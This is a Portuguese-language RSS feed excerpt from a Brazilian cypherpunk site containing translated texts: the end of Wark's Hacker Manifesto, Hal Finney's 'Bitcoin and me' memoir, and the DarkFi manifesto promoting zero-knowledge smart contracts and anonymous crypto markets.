&lt;p>Às vezes, a democracia direta é posta como alternativa. Mas isso apenas muda o momento da representação – coloca a política nas mãos dos pretendentes a uma representação ativista, no lugar de uma eleitoral. Às vezes, o que se exige da política de representação é que ela reconheça um novo sujeito. Minorias de raça, gênero, preferência exigem o direito à representação. Mas logo eles descobrem o custo. Eles devem agora policiar o significado dessa representação e policiar a adesão de seus membros a ela. Mesmo em sua melhor forma, em sua forma mais abstrata, em seu melhor comportamento, o estado daltônico, de gênero neutro e multicultural apenas entrega o valor da representação à forma de mercadoria. Embora isso seja um progresso, particularmente para aqueles anteriormente oprimidos pelo fracasso do Estado em reconhecer sua identidade como legítima, ele se detém no reconhecimento de expressões de subjetividade que buscam se tornar algo diferente de uma representação que o Estado pode reconhecer e o mercado pode valorizar .&lt;/p>
&lt;p>Mas há algo mais pairando no horizonte do representável. Há uma política do irrepresentável, uma política da apresentação da demanda inegociável. Esta é a política como a recusa da própria representação, não a política de recusar esta ou aquela representação. Uma política que, embora abstrata, não é utópica. Em sua demanda infinita e ilimitada, pode até ser a melhor maneira de extrair concessões justamente pela sua recusa em colocar um nome – ou um preço – no que a revolta deseja.&lt;/p>
&lt;h2 id="revolta">Revolta&lt;/h2>
&lt;p>As revoltas de 1989 são os eventos marcantes do nosso tempo. O que as revoltas de 1989 alcançaram foi a derrubada de regimes tão impenetráveis ao reconhecimento do valor do hack que privaram não apenas seus hackers, mas também seus trabalhadores e agricultores de qualquer aumento no excedente. Com seu clientelismo e cleptocracia, sua burocracia e ideologia, sua polícia e espiões, eles privaram até mesmo seus pastores e capitalistas de transformação e crescimento inovadores.&lt;/p>
&lt;p>As revoltas de 1989 derrubaram o tédio e a necessidade. Pelo menos por um tempo. Eles colocaram de volta na agenda histórica mundial a exigência ilimitada de liberdade de expressão. Pelo menos por um tempo. Eles revelaram o destino latente da história mundial para expressar a pura virtualidade do devir. Pelo menos por um tempo, antes que novos estados se reunissem e reivindicassem legitimidade como representações do que a revolta desejava. As revoltas de 1989 abriram o portal para o virtual, mas os estados que se reagruparam em torno dessa abertura logo o fecharam. O que as revoltas realmente conseguiram foi tornar o mundo seguro para o poder vetorial.&lt;/p>
&lt;p>Os chamados protestos antiglobalização dos anos 90 são uma ondulação causada pelo rastro desses eventos sinalizadores, mas uma ondulação que não conhecia a corrente a que realmente pertencia. Esse movimento de revolta no mundo superdesenvolvido identifica o poder vetorial em ascensão como um inimigo de classe, mas com demasiada frequência se deixou capturar pelos interesses parciais e temporários das classes capitalistas e pastoris locais. Foi uma revolta em sua infância que ainda não descobriu a conexão entre seu motor de desejo ilimitado e livre declaração, e a arte de fazer exigências táticas.&lt;/p>
&lt;p>A luta de classes dentro das nações e a luta imperial entre as nações tomaram forma como duas formas de política. Um tipo de política é regressiva. Busca retornar a um passado imaginado. Ele procura usar as fronteiras nacionais como um novo muro, uma tela de néon atrás da qual alianças improváveis podem proteger seus interesses existentes em nome de um passado glorioso. A outra forma é a política progressista do movimento. A política do movimento busca acelerar em direção a um futuro desconhecido. Busca usar os fluxos internacionais de informação, comércio ou ativismo como meios ecléticos de luta por novas fontes de riqueza ou liberdade que superem as limitações impostas pelas coalizões nacionais.&lt;/p>
&lt;p>Nenhuma dessas políticas corresponde à velha noção de esquerda ou direita, que as revoluções de 1989 superaram definitivamente. A política regressiva reúne impulsos luditas da esquerda com impulsos racistas e reacionários da direita em uma aliança profana contra novas fontes de poder. A política progressista raramente toma a forma de uma aliança, mas constitui dois processos paralelos travados em um diálogo de suspeita mútua, em que as forças liberalizantes da direita e as forças de justiça social e direitos humanos da esquerda buscam soluções não nacionais e transnacionais para desbloquear o sistema de poder que ainda se acumula a nível nacional.&lt;/p>
&lt;p>Há uma terceira política, que está fora das alianças e compromissos do mundo pós-89. Onde tanto a política progressista quanto a regressiva são políticas representativas, que lidam com alianças e interesses partidários agregados, essa terceira política é uma política sem estado, que busca escapar da política como tal. Uma política do hack, inventando relações fora da representação. A política expressiva é uma luta contra a própria propriedade da mercadoria.&lt;/p>
&lt;p>A política expressiva não é a luta para coletivizar a propriedade, pois esta ainda é uma forma de propriedade. A política expressiva é a luta para libertar o que pode ser livre de ambas as versões da forma de mercadoria – sua forma totalizante de mercado e sua forma burocrática de estado. O que pode estar totalmente livre da forma de mercadoria não é terra, nem capital, mas informação. Todas as outras formas de propriedade são exclusivas. A propriedade de um exclui, por definição, a propriedade de outro. Mas a informação como propriedade pode ser compartilhada sem diminuir nada além de sua escassez. Informação é aquilo que pode escapar da forma mercadoria.&lt;/p>
&lt;p>A política só pode se tornar expressiva quando é uma política de liberação da virtualidade da informação. Ao liberar a informação de sua objetivação como mercadoria, ela libera também a força subjetiva do enunciado. Sujeito e objeto se encontram fora da mera falta um do outro, pelo simples desejo um do outro. A política expressiva não procura derrubar a sociedade existente, ou reformar suas estruturas maiores, ou preservar sua estrutura para manter uma coalizão de interesses existente. Busca permear os estados existentes com um novo estado de existência, espalhando as sementes de uma prática alternativa da vida cotidiana.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://anarchotranshuman.org/post/49990204445/a-hackers-manifesto-by-mckenzie" target="_blank" rel="noopener noreferrer">https://anarchotranshuman.org/post/49990204445/a-hackers-manifesto-by-mckenzie&lt;/a>
&lt;/p></content:encoded></item><item><title>Bitcoin e eu</title><link>https://cypherpunks.com.br/documentos/bitcoin-e-eu/</link><pubDate>Tue, 19 Mar 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/bitcoin-e-eu/</guid><description>Quando Satoshi anunciou o Bitcoin na lista de e-mails de criptografia, ele conseguiu, no máximo, uma recepção cética. Criptógrafos já viram muitos esquemas feitos por iniciantes sem noção. Eles tendem a ter uma reação impulsiva.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Marcos Monteiro
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="hal-finney">Hal Finney&lt;/h3>
&lt;p>19 de março de 2013&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/docs/bitcoin-and-me/hal-finney.jpg" loading="lazy"
/>
&lt;/p>
&lt;p>Originalmente publicado em &lt;a href="https://bitcointalk.org/index.php?topic=155054.msg1643833#msg1643833" target="_blank" rel="noopener noreferrer">Bitcointalk&lt;/a>
&lt;/p>
&lt;p>&lt;/p>
&lt;p>Eu achei que deveria escrever sobre os últimos 4 anos, uma época agitada para o Bitcoin e para mim.&lt;/p>
&lt;p>Para aqueles que não me conhecem, eu sou Hal Finney. Eu comecei a trabalhar com criptografia em uma versão inicial do PGP, trabalhando diretamente com Phil Zimmermann. Quando Phil decidiu começar a PGP Corporation, eu fui um dos primeiros contratados. Eu trabalharia na PGP até a minha aposentadoria. Ao mesmo tempo, fiquei envolvido com os Cypherpunks. Eu rodei o primeiro remailer anônimo baseado em criptografia, entre outras atividades.&lt;/p>
&lt;p>Pulando ao final de 2008 e ao anúncio do Bitcoin. Eu percebi que os velhotes da criptografia (eu estava nos meus 50) tendem a ficar cínicos. Eu era mais idealista: sempre amei criptografia, o mistério e o paradoxo que a envolvem.&lt;/p>
&lt;p>Quando Satoshi anunciou o Bitcoin na lista de e-mails de criptografia, ele conseguiu, no máximo, uma recepção cética. Criptógrafos já viram muitos esquemas feitos por iniciantes sem noção. Eles tendem a ter uma reação impulsiva.&lt;/p>
&lt;p>Eu estava mais positivo. Eu já estava interessado em esquemas de pagamentos criptográficos. Além disso, eu fui sortudo o suficiente para conhecer e corresponder Wei Dai e Nick Szabo, conhecidos por terem criado as ideias que se realizariam com o Bitcoin. Eu tinha feito uma tentativa de criar minha própria moeda baseada em prova de trabalho, chamada RPOW. Então eu achei o Bitcoin fascinante.&lt;/p>
&lt;p>Quando Satoshi anunciou a primeira versão do software, eu o testei logo. Eu acho que fui a primeira pessoa, além de Satoshi, a rodar o bitcoin. Eu minerei o bloco setenta e alguma coisa, e fui o destinatário da primeira transação de bitcoin, quando Satoshi me enviou dez moedas como teste. Eu levei uma conversa por e-mail com Satoshi pelos dias seguintes, apontando falhas enquanto ele as corrigia.&lt;/p>
&lt;p>Hoje, a verdadeira identidade de Satoshi se tornou um mistério. Mas na época, eu achei que estava lidando com um jovem de ancestralidade japonesa que era muito inteligente e sincero. Eu tive a boa sorte de conhecer muitas pessoas brilhantes ao longo da minha vida, então eu reconhecia os sinais.&lt;/p>
&lt;p>Após alguns dias, o bitcoin estava rodando bastante estável, então eu parei de rodá-lo. Eram dias em que a dificuldade era 1, e você poderia encontrar blocos com uma CPU, nem precisava de uma GPU. Eu minerei alguns blocos durante os dias seguintes. Mas eu o desliguei porque fazia meu computador esquentar, e o barulho do resfriador me incomodava. Em retrospecto, eu gostaria de tê-lo mantido por mais tempo, mas por outro lado, eu fui extremamente sortudo de estar lá no começo. Essa é uma daquelas situações de copo meio cheio e meio vazio.&lt;/p>
&lt;p>A outra vez que ouvi falar sobre Bitcoin foi ao final de 2010, quando eu me surpreendi ao descobrir que não apenas ainda estava funcionando, mas bitcoins tinham valor monetário real. Eu abri minha antiga carteira, e fiquei aliviado ao descobrir que meus bitcoins ainda estavam lá. Como o preço ficou alto, eu os transferi para uma carteira offline, onde espero que valham algo para os meus herdeiros.&lt;/p>
&lt;p>Falando em herdeiros, fui pego de surpresa em 2009, quando de repente fui diagnosticado com uma doença fatal. Eu estava na melhor forma da minha vida no início daquele ano, tinha perdido muito peso e começado a correr longas distâncias. Eu corri algumas meia maratonas, e estava começando a treinar para uma maratona. Eu estava começando a correr mais de 3 km, e pensei que estava tudo bem. Foi quando tudo começou a dar errado.&lt;/p>
&lt;p>Meu corpo começou a falhar. Minha fala arrastou, eu perdi força nas mãos, e minhas pernas estavam lentas. Em agosto de 2009 eu fui diagnosticado com ELA, também chamada de doença de Lou Gehrig, o famoso jogador de baseball.&lt;/p>
&lt;p>ELA é uma doença que mata neurônios motores, que levam sinais do cérebro aos músculos. Seu primeiro sintoma é fraqueza, então, gradualmente, te paralisa. Geralmente é fatal em 2 a 5 anos. Meus sintomas estavam moderados e eu continuei a trabalhar, mas a fadiga e problemas de voz me forçaram a aposentar no início de 2011. Desde então, a doença continuou sua inexorável progressão.&lt;/p>
&lt;p>Hoje estou essencialmente paralítico. Sou alimentado através de um tubo, e minha respiração é assistida por outro tubo. Eu mexo no computador usando um sistema comercial de rastreamento de olhos. Ele também tem um sintetizador de voz, então essa é a minha voz agora. Eu passo o dia todo em minha cadeira de rodas elétrica. Eu fiz uma interface usando Arduino para ajustar a posição da minha cadeira de rodas usando os meus olhos.&lt;/p>
&lt;p>Passei por uma adaptação, mas minha vida não é das piores. Eu ainda posso ler, ouvir música e assistir a TV e filmes. Recentemente descobri que ainda posso escrever códigos. É muito lento, provavelmente 50 vezes mais lento que antes. Mas eu ainda amo programar e isso me dá objetivos. Atualmente estou trabalhando em algo que Mike Hearn sugeriu, usando as funcionalidades de segurança dos processadores modernos, projetados para dar suporte a &amp;ldquo;computação confiável&amp;rdquo;, para melhorar as carteiras de Bitcoin. Está quase pronto para ser lançado. Eu apenas tenho de fazer a documentação.&lt;/p>
&lt;p>E, é claro, os movimentos no preço dos bitcoins me divertem. Eu tenho muito em jogo. Mas eu consegui meus bitcoins por sorte, com pouco crédito a mim. Eu vivi o crash de 2011. Então eu já vi isso antes. Vem fácil, vai fácil.&lt;/p>
&lt;p>Essa é a minha história. Eu sou muito sortudo no geral. Mesmo com ELA, minha vida foi muito satisfatória. Mas minha expectativa de vida é limitada. Essas discussões sobre herdar seus bitcoins são mais de interesse acadêmico. Meus bitcoins estão guardados em nosso depósito, e meus filhos entendem de tecnologia. Eu acho que estão seguros o suficiente. Estou confortável com o meu legado. [levemente editado]&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/bitcoin-and-me/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/bitcoin-and-me/&lt;/a>
&lt;/p></content:encoded></item><item><title>A tempestade que aproxima</title><link>https://cypherpunks.com.br/documentos/a-tempestade-se-aproxima/</link><pubDate>Tue, 01 Jan 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-tempestade-se-aproxima/</guid><description>A tecnologia da Internet é centrada em obter lucro dos usuários para trabalhos de baixo valor (clicar em anúncios). Isso leva a enormes operações de coleta de dados e à construção de uma megamáquina de vigilância. Isso incentiva a docilidade e o consumo, em vez de uma userhip individualizada ativa. É uma arquitetura de opressão …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: k3ybladewielder
&lt;/code>&lt;/pre>&lt;h1 id="a-tempestade-que-aproxima">A tempestade que aproxima&lt;/h1>
&lt;h2 id="darkfi">DarkFi&lt;/h2>
&lt;p>&lt;strong>Nota do tradutor:&lt;/strong>
Esse manifesto é do projeto &lt;a href="https://dark.fi/" target="_blank" rel="noopener noreferrer">DarkFi&lt;/a>
, ele vem durante o vazamento que a &lt;em>Wikileaks&lt;/em> soltou durante o governo Obama e anteriores e continua até os dias atuais.&lt;/p>
&lt;p>&lt;/p>
&lt;p>Estamos em 2013. O diretor do FBI faz um discurso intitulado &amp;ldquo;O problema que está escurecendo&amp;rdquo;. Solenemente, ele alerta para uma crise emergente na aplicação da lei. Desde as divulgações de Snowden, o aumento da conscientização pública sobre a vigilância incentivou o uso amplo de tecnologias de criptografia — o que ele chama ferramenta tecnológica preferida dos criminosos.&lt;/p>
&lt;blockquote>
&lt;p>Infelizmente, a lei não acompanhou a tecnologia, e essa desconexão criou um problema significativo de segurança pública. Nós o chamamos de &amp;ldquo;escurecimento&amp;rdquo;&lt;/p>
&lt;p>-James Comey, diretor do FBI&lt;/p>
&lt;/blockquote>
&lt;p>O discurso destacou um risco emergente online: a popularização em massa da criptografia ameaça criar uma zona online permanente que é impenetrável para a aplicação da lei. Nós mantemos essas zonas sombrias para remover as barreiras para que uma sociedade verdadeiramente democrática se realize. Desenvolvimentos recentes em &lt;em>DAOs&lt;/em>(organizações autônoma descentralizada) e &lt;em>DeFi&lt;/em>(finança descentralizada) representam um passo empolgante em direção a esse futuro.&lt;/p>
&lt;p>Avanços adicionais em criptografia, como provas de conhecimento zero, estão despertando uma nova era de desafios e convulsões. Este documento oferece uma visão geral desses avanços e apresenta nosso projeto: DarkFi.&lt;/p>
&lt;p>DarkFi não é uma startup corporativa. É um experimento econômico democrático, um sistema operacional para a sociedade.&lt;/p>
&lt;h1 id="sociecídio-e-a-megamáquina">Sociecídio e a Megamáquina&lt;/h1>
&lt;p>A situação piorou desde que Comey documentou pela primeira vez o &amp;ldquo;Problema das Trevas&amp;rdquo; em 2013. A lógica da expansão do estado, juntamente com a impressão infinita de dinheiro e o industrialismo, submergiram a sociedade em um estado de guerra constante. O poder e o aparato estatal controlam, oprimem e vigiam a sociedade, enquanto a grande tecnologia nos envolve em uma prisão digital.&lt;/p>
&lt;p>Este estado de guerra foi denominado &amp;ldquo;Sociecídio&amp;rdquo;. A sociedade está cada vez mais privada de sua natureza moral e política. As pessoas foram transformadas nas massas fascistas em rebanho.&lt;/p>
&lt;p>A tecnologia da Internet é centrada em obter lucro dos usuários para trabalhos de baixo valor (clicar em anúncios). Isso leva a enormes operações de coleta de dados e à construção de uma megamáquina de vigilância. Isso incentiva a docilidade e o consumo, em vez de uma userhip individualizada ativa. É uma arquitetura de opressão estruturada no controle do usuário.&lt;/p>
&lt;p>Inteligências artificiais mais novas e melhores estão sendo constantemente aprimoradas para travar uma guerra contra a resistência e forçar as pessoas restantes à megacidades gigantes. Com a chegada das Moedas Digitais do Banco Central (CBDC) e da renda básica universal (UBI), o poder centralizado está rapidamente tentando fechar todas as arenas econômicas concorrentes. O estado corporativo busca monopolizar a vida econômica. A pontuação de crédito social da China tem sido uma experiência instrutiva que os países ocidentais procuram imitar.&lt;/p>
&lt;p>O que resta neste mundo empobrecido é uma nova forma sinistra de fascismo e uma sociedade morta que perdeu seu tecido moral e político. Essa sociedade morta é incapaz de se auto-organizar ou agir com iniciativa. A megamáquina busca constantemente métodos inovadores para extrair óleo do solo, peixes dos oceanos e sangue vital da sociedade, mesmo quando esses recursos estão esgotados a níveis de crise.&lt;/p>
&lt;p>Por 20 anos trabalhamos com software livre. Foi um movimento com incrível vitalidade e criatividade, explorando ideias muito antes que a indústria proprietária ousasse tocá-las. Mas ser um desenvolvedor de software livre em tempo integral era uma situação difícil. Criamos um valor tremendo, mas estávamos quase sempre sem recursos. Não tínhamos como recuperar parte do valor que estávamos criando. A incapacidade de capturar valor significava que nossa expansão era limitada e continuamente restrita em recursos. Portanto, esses conceitos brilhantes que foram pioneiros nunca poderiam ser realizados e a sociedade perdeu todos os benefícios de uma tecnologia gratuita que poderia ter sido.&lt;/p>
&lt;p>O movimento do software livre possuía desenvolvedores de classe mundial com uma comunidade de crentes firmes. Mas o movimento simplesmente carecia de recursos por não haver um modelo econômico.&lt;/p>
&lt;h1 id="tokenização">Tokenização&lt;/h1>
&lt;p>Com o poder da tokenização, agora temos uma alternativa. O dinheiro programável permite um rico conjunto de técnicas para desenvolver redes econômicas.&lt;/p>
&lt;p>A engenharia de token e DAOs estão destruindo a estrutura básica do velho mundo. O velho mundo é corporativo, hierárquico e rígido. Este novo mundo é rico, intenso e criativo.&lt;/p>
&lt;p>No modelo corporativo clássico, você tem uma dicotomia consumidor-produtor. Esta distinção não existe na criptografia. O foco está na riqueza da comunidade e do time. Em vez de uma empresa que explora os usuários para obter lucro e protege sua propriedade, os proprietários e produtores são a própria comunidade.&lt;/p>
&lt;p>O valor de um projeto é diretamente proporcional à sua comunidade. Os tokens capturam o valor gerado por uma comunidade e circulam esse valor de volta para a própria comunidade. A capacidade dos projetos de fomentar a participação, o entusiasmo e o envolvimento é, portanto, crucial. As comunidades promovem a autonomia por meio do discurso, da negociação e da narrativa. Isso, por sua vez, leva a transformações democráticas do indivíduo, moldando-o para os valores de autogoverno e autodesenvolvimento.&lt;/p>
&lt;p>Em nenhum lugar essa evolução social é mais aparente do que nas DAOs. DAOs são uma nova governança primitiva que permite que forças democráticas latentes se reúnam e se organizem antes que as forças do poder e do capital possam estreitá-las ideologicamente. Isso permite a exploração de zonas de liberação não realizadas. Os usuários são partes interessadas que podem participar diretamente nas decisões de governança. Eles podem decidir sobre metas de desenvolvimento, recursos, salários, alocação de capital e investimentos.&lt;/p>
&lt;p>O ideal da política é multiplicar os espaços públicos. A criptografia é, portanto, profundamente política. A política diz respeito à tomada de decisões relativas aos interesses coletivos da sociedade, como bem-estar, segurança e liberdade. Nesse sentido, política e democracia direta são sinônimos.&lt;/p>
&lt;p>O antigo modelo de tecnologia é antipolítico porque remove a propriedade das pessoas e a coloca nas mãos do monopólio. O modelo antigo incentiva a passividade e a indiferença por design, reduzindo as pessoas aos consumidores. Esta é essencialmente a orientação da tecnologia moderna. Seu arco remonta a 5.000 anos, até a origem da própria civilização.&lt;/p>
&lt;p>O verbete da Wikipedia para civilização diz:&lt;/p>
&lt;blockquote>
&lt;p>A civilização concentra o poder, estendendo o controle humano sobre o resto da natureza, inclusive sobre outros seres humanos.&lt;/p>
&lt;/blockquote>
&lt;p>A história oscilou para frente e para trás na luta entre a sociedade democrática e o sistema de civilização estatal. Às vezes, isso se tornou um conflito aberto, enquanto em outras ocasiões levou a uma paz inquietante. O conflito entre as formas civilizacionais se acelerou na era moderna. A sociedade está sitiada por armas automáticas, aparelhos de vigilância e operações psicológicas que procuram minar a liberdade moral e política das pessoas.&lt;/p>
&lt;h1 id="formações-políticas-autônomas">Formações Políticas Autônomas&lt;/h1>
&lt;p>O totalitarismo não pode ser derrotado por meio da obediência. A conformidade apenas encoraja regimes de poder. O terror totalitário é liberado quando a oposição morre e os governantes não têm mais medo. A conformidade alimenta os totalitários e nunca leva à normalidade. A resistência é essencial para conter o aumento do regime totalitário.&lt;/p>
&lt;p>Sociedades paralelas oferecem pequenas liberdade que nutrem ideologias de resistência e formam a base de uma nova sociedade. Eles podem ser sociedades orientadas para a tecnologia, economia, educação ou cultura.&lt;/p>
&lt;p>Com DAOs e DeFi podemos trazer à vida a nação democrática onde múltiplas culturas, etnias e formações políticas coexistem com uma estrutura confederalista.&lt;/p>
&lt;blockquote>
&lt;p>DAOs + DeFi = Formações Políticas Autônomas&lt;/p>
&lt;/blockquote>
&lt;p>Com os &lt;em>APFs&lt;/em>, várias nações paralelas podem existir online, livres de coerção externa. Essas nações são propriedade de sua comunidade. As decisões fluem da base.&lt;/p>
&lt;h1 id="multi-chain">Multi-Chain&lt;/h1>
&lt;p>Há uma história de dinheiro que é assim: é o alvorecer da história. As pessoas estão trocando seus bens excedentes. Você tem uma maçã. Ela tem uma laranja. O comércio exige um meio de troca. O dinheiro surge.&lt;/p>
&lt;p>Todos nós já ouvimos essa história. Exceto que é um mito. Isso nunca aconteceu na história.&lt;/p>
&lt;p>Na Antiga Mesopotâmia, havia redes bancárias sofisticadas muito antes de o dinheiro existir. Essas redes ofereciam todas as operações modernas associadas a um banco, como operações de crédito, depósitos, câmbio e liquidação de dívidas. Babilônia, o berço da civilização humana, era o lar do próspero centro bancário da região e de um ativo mercado de futuros. O dinheiro saiu desse sistema de redes de crédito. Os comprovantes de depósito e os contratos futuros eram negociados na forma de fichas de argila que podiam ser quebradas. Só muito mais tarde, com o surgimento do império persa, o dinheiro bimetálico de ouro e prata foi padronizado.&lt;/p>
&lt;p>A lição que a história nos ensina é a seguinte: as redes econômicas são primordiais. É a transferência de valor dentro das redes que dá ao dinheiro seu significado, não o dinheiro em si. O dinheiro herda propriedades diferentes das redes financeiras nas quais existe.&lt;/p>
&lt;p>Em 2010, o conceito de moeda sonora universal foi fundamental para o surgimento do Bitcoin. Conforme a criptografia cresceu, vimos o surgimento de outras classes de ativos. Primeiro, vimos o surgimento de blockchains com seus próprios recursos exclusivos, como o Monero. Ethereum foi o primeiro a generalizar essa arquitetura, que foi seguida pelo crescimento do ERC20 e o boom inicial do ICO. Mas a natureza da criptografia mudou fundamentalmente. O DeFi deu início a um novo pensamento baseado no ecossistema que vê não apenas uma única moeda isolada, mas examina as redes de uma forma holística.&lt;/p>
&lt;p>Anteriormente, costumávamos pensar sobre criptomoedas e seu blockchain. Este é Bitcoin, este é Monero, este é Ethereum. A maneira como as pessoas raciocinavam sobre a criptografia era como entidades atômicas auto-soberanas. Mas o DeFi está possibilitando um novo tipo de raciocínio. Pensamos em termos de ecossistemas e terminais, redes e fluxos de liquidez.&lt;/p>
&lt;p>Com o DeFi, estamos vendo a sofisticação da criptografia e o surgimento de um sistema financeiro paralelo. Moedas específicas de blockchain estão sendo enfatizadas em favor de instrumentos e redes. A engenharia financeira permite que essas redes interajam, para reduzir a volatilidade e transferir ativos sem problemas. Este é o surgimento de uma camada protobancária para criptografia. Com ele, a criptografia ganhou uma vantagem radical. O sistema bancário é mais poderoso e mais fundamental do que o dinheiro.&lt;/p>
&lt;p>Atualmente, 1% de todo o Bitcoin existe dentro do Ethereum e esse número está crescendo rapidamente. Esperamos que essa tendência continue.&lt;/p>
&lt;h1 id="zero-knowledge">Zero-knowledge&lt;/h1>
&lt;p>A criptoanarquia é a tática de usar a criptografia para criar um espaço de liberdade que não pode ser penetrado pelo poder e monopólios de capital com força coercitiva.&lt;/p>
&lt;p>Este espaço de liberdade é a semente nascente de uma sociedade democrática. Essas estruturas sociais são resistentes ao controle do Estado e ao poder totalitário desde o início. Eles são programados com o código de resistência. São espaços que se opõem à atomização social e promovem laços comunitários voluntários entre aqueles que prezam a liberdade.&lt;/p>
&lt;p>São espaços escuros usados por uma aliança de forças democráticas.&lt;/p>
&lt;p>Zero-knowledge (ZK) é uma tecnologia poderosa, que se usada efetivamente abre vastas fronteiras de liberdade.&lt;/p>
&lt;p>O ZK nos permite criar contratos inteligentes anônimos. Qualquer pessoa pode escrever um programa anônimo que é chamado de prova. Mesmo que os dados no blockchain sejam criptografados, a prova faz uma declaração sobre o que está acontecendo com esses dados. Não pode ser enganado e é totalmente seguro.&lt;/p>
&lt;p>Ele abre um espaço de design totalmente novo de aplicações anônimos que antes não podíamos criar. A tecnologia está madura, esperando para ser aceita e aplicada.&lt;/p>
&lt;p>Agora você pode estar pensando que há uma penalidade de desempenho para o ZK, mas na verdade o ZK é rápido. É mais rápido verificar uma prova ZK do que calcular a própria função não-ZK real. E não importa o tamanho dos dados, a prova é sempre um tamanho constante.&lt;/p>
&lt;p>Por exemplo, podemos compactar um blockchain inteiro em uma prova ZK. Em vez de baixar 300 Gb de dados na sincronização inicial com a rede, você pode baixar uma prova de 22 Kb de que o estado atual foi calculado corretamente a partir do &lt;em>genesis&lt;/em>. Já existem projetos que oferecem isso. Esta propriedade de ZK é chamada de sucinto.&lt;/p>
&lt;p>Aqui está um programa simples: &lt;code>def foo(s, x, y): if s: return x * y else: return x + y&lt;/code>&lt;/p>
&lt;p>Digamos que Alice calcule z = foo (True, 4, 110). Para provar que z é calculado corretamente, Alice dá a Bob os valores de z, s, x, y e, em seguida, Bob executa a função para ver se obtém o mesmo resultado que Alice. Isso não é anônimo, pois Bob pode ver os valores que são inseridos na função. Em vez disso, Alice pode usar uma prova ZK para mostrar que ela calculou a função corretamente sem revelar os valores de entrada.&lt;/p>
&lt;p>Usando essa técnica, podemos criar mercados financeiros completamente sombrios: uma rede econômica descentralizada global operando de forma totalmente anônima.&lt;/p>
&lt;p>ZK é um poderoso espaço de design aberto para desenvolvedores. É também uma nova arquitetura computacional diferente do modelo de Vonn Neumann com o qual todos estamos familiarizados. Certos tipos de operações são mais favoráveis em comparação com outras, as quais levam algum tempo para se acostumar. Há muito escopo e exploração aqui para o avanço das ferramentas em torno do ZK, como compiladores que ainda são muito primitivos.&lt;/p>
&lt;p>Este é o primeiro passo em direção a um novo modelo econômico de tecnologia que não se baseie na exploração dos usuários.&lt;/p>
&lt;h1 id="darkfi-1">DarkFi&lt;/h1>
&lt;p>DarkFi é uma camada base para aplicações anônimas e contratos inteligentes que é interoperável em várias cadeias.&lt;/p>
&lt;p>Veja o código aqui:&lt;/p>
&lt;blockquote>
&lt;p>&lt;a href="github.com/darkrenaissance/darkfi">github.com/darkrenaissance/darkfi&lt;/a>
&lt;/p>
&lt;/blockquote>
&lt;p>DarkFi é um ambiente com uma linguagem para escrever contratos inteligentes zero-knowledge. A pesquisa ainda é incipiente, mas já temos nossa testnet operacional.&lt;/p>
&lt;p>O ZK desbloqueia um espaço de design totalmente inexplorado de aplicações anônimas. Anteriormente, se você quisesse criar um aplicativo anônimo, teria que pensar em como combinar vários esquemas criptográficos existentes. Talvez fosse lento ou impossível. Mas com o ZK, temos um esquema criptográfico genérico que qualquer programador pode usar para criar aplicações anônimas.&lt;/p>
&lt;p>Podemos criar serviços anônimos. Os usuários podem interagir com DAOs e mercados onde usam credenciais. Você anexa uma prova que diz que uma afirmação está correta. Nada mais sobre sua identidade foi divulgado. Os serviços são operados dessa maneira.&lt;/p>
&lt;p>Aqui está um exemplo de um contrato inteligente para cunhar uma credencial:&lt;/p>
&lt;blockquote>
&lt;p>&lt;a href="github.com/darkrenaissance/darkfi/blob/halo2-burn/proof/mint.zk">github.com/darkrenaissance/darkfi/blob/halo2-burn/proof/mint.zk&lt;/a>
&lt;/p>
&lt;/blockquote>
&lt;p>Temos um servidor de bate-papo no Matrix em:&lt;/p>
&lt;blockquote>
&lt;p>&lt;a href="element.dark.fi">element.dark.fi&lt;/a>
&lt;/p>
&lt;/blockquote>
&lt;p>Já temos um testnet em ponte com as redes Bitcoin e Solana. Planejamos adicionar suporte para Ethereum e Monero em breve. Você pode executar o aplicativo e enviar pagamentos.&lt;/p>
&lt;p>Nosso foco inicial serão trocas anônimas simples e um DAO para governança. Planejamos nos concentrar na construção de ferramentas organizacionais e expandir rapidamente nosso ecossistema. Junte-se a nós nesta aventura de construção de mundos.&lt;/p>
&lt;p>Estamos procurando desenvolvedores políticos e oferecemos salários competitivos. Esta é uma oportunidade de ajudar a construir um ecossistema e haverá muitos mais projetos sendo lançados e financiados no DarkFi.&lt;/p>
&lt;p>Todas as segundas-feiras às 16:00 CET em #dev em nosso servidor, temos uma reunião aberta de desenvolvedores por texto.&lt;/p>
&lt;p>Somos mais do que os criadores de ferramentas. Nós construímos aplicações e equipes de suporte ajudar a construir-los. Congratulamo-nos com todos em nosso êxodo para a terra prometida da oportunidade.&lt;/p>
&lt;h1 id="que-haja-escuridão">Que haja escuridão&lt;/h1>
&lt;blockquote>
&lt;p>Sob essa máscara, há mais do que carne. Por baixo desta máscara está uma ideia. E as ideias são à prova de balas.&lt;/p>
&lt;p>-V&lt;/p>
&lt;/blockquote>
&lt;p>Todos acham que haverá um grande evento macro político ou econômico nos próximos 5 anos. Todos estão profundamente descontentes com o poder e os monopólios de capital que governam sobre nós.&lt;/p>
&lt;p>Qual é o próximo sistema para vir junto? Aqui está a resposta:&lt;/p>
&lt;p>Não deveríamos estar pensando em sistemas. Os seres humanos não são objetos em um aparato matemático. Esse é o pensamento que nos levou nesta posição.&lt;/p>
&lt;p>O pensamento que precisamos?&lt;/p>
&lt;p>O que está acontecendo ao seu redor? O que as pessoas estão fazendo? Quais são os problemas que eles enfrentam? O que é verdade, beleza e bondade? Como podemos fortalecer essa face da humanidade e da natureza que desejamos fazer crescer?&lt;/p>
&lt;p>Felizmente, fomos dotados de contra-economia agorista, não apenas como filosofia, mas como um poderoso agente de mudança. Use esse poder, faça as coisas acontecerem.&lt;/p>
